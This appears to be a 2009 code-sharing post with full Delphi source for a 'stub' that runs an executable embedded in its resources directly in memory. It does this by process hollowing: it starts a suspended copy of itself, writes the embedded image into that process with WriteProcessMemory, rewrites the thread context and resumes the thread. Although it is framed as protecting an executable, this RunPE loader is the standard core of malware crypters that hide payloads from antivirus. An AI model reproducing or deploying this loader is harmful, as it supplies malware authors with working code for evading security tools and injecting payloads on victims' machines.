Memory Execution of File Stored in Resource
Post date: Dec 20, 2009 12:17:41 AM
Memory execution example by KriPpler
This is a little example I made for a project Im working
on that protects an executable file by wrapping it within a
stub files resource and running it directly in memory. This
is nice for when you want to manipulate data without writing
it to disk.
Credits:
Aphex : (CreateProcessEx function)
program PrjRes2Mem;
{$APPTYPE CONSOLE}
{$R 'data.res' 'data.rc'}
uses
windows;
type
TSections = array [0..0] of TImageSectionHeader;
function GetAlignedSize(Size: dword; Alignment: dword): dword;
begin
if ((Size mod Alignment) = 0) then
begin
Result := Size;
end
else
begin
Result := ((Size div Alignment) + 1) * Alignment;
end;
end;
function ImageSize(Image: pointer): dword;
var
Alignment: dword;
ImageNtHeaders: PImageNtHeaders;
PSections: ^TSections;
SectionLoop: dword;
begin
ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew));
Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment;
if ((ImageNtHeaders.OptionalHeader.SizeOfHeaders mod Alignment) = 0) then
begin
Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
end
else
begin
Result := ((ImageNtHeaders.OptionalHeader.SizeOfHeaders div Alignment) + 1) * Alignment;
end;
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].Misc.VirtualSize <> 0 then
begin
if ((PSections[SectionLoop].Misc.VirtualSize mod Alignment) = 0) then
begin
Result := Result + PSections[SectionLoop].Misc.VirtualSize;
end
else
begin
Result := Result + (((PSections[SectionLoop].Misc.VirtualSize div Alignment) + 1) * Alignment);
end;
end;
end;
end;
procedure CreateProcessEx(FileMemory: pointer);
var
BaseAddress, Bytes, HeaderSize, InjectSize, SectionLoop, SectionSize: dword;
Context: TContext;
FileData: pointer;
ImageNtHeaders: PImageNtHeaders;
InjectMemory: pointer;
ProcInfo: TProcessInformation;
PSections: ^TSections;
StartInfo: TStartupInfo;
begin
ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew));
InjectSize := ImageSize(FileMemory);
GetMem(InjectMemory, InjectSize);
try
FileData := InjectMemory;
HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
end;
CopyMemory(FileData, FileMemory, HeaderSize);
FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].SizeOfRawData > 0 then
begin
SectionSize := PSections[SectionLoop].SizeOfRawData;
if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);
FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
end
else
begin
if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
end;
end;
ZeroMemory(@StartInfo, SizeOf(StartupInfo));
ZeroMemory(@Context, SizeOf(TContext));
CreateProcess(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(ProcInfo.hThread, Context);
ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes);
WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(ProcInfo.hThread, Context);
ResumeThread(ProcInfo.hThread);
finally
FreeMemory(InjectMemory);
end;
end;
procedure ResourceToMem;
var
ResInfo: HRSRC;
ResSize: LongWord;
Handle: THandle;
ResData: Pointer;
begin
//Locate our resource information from within the resource data
ResInfo := FindResource(SysInit.HInstance, pchar('a01'), RT_RCDATA);
if ResInfo <> 0 then
begin
//Get the size of our resource information
ResSize := SizeofResource(SysInit.HInstance, ResInfo);
if ResSize <> 0 then
begin
//Get the handle to our resource information
Handle := LoadResource(SysInit.HInstance, ResInfo);
if Handle <> 0 then
begin
//Store our data into the resource
ResData := LockResource(Handle);
//Execute it!
createprocessex(ResData);
end;
end;
end;
end;
begin
ResourceToMem;
end.
A PE file should be stored in resources under the name 'a01' for this example to work.
Source: http://www.coderprofile.com/networks/source-codes/138/execute-resource-directly-in-memory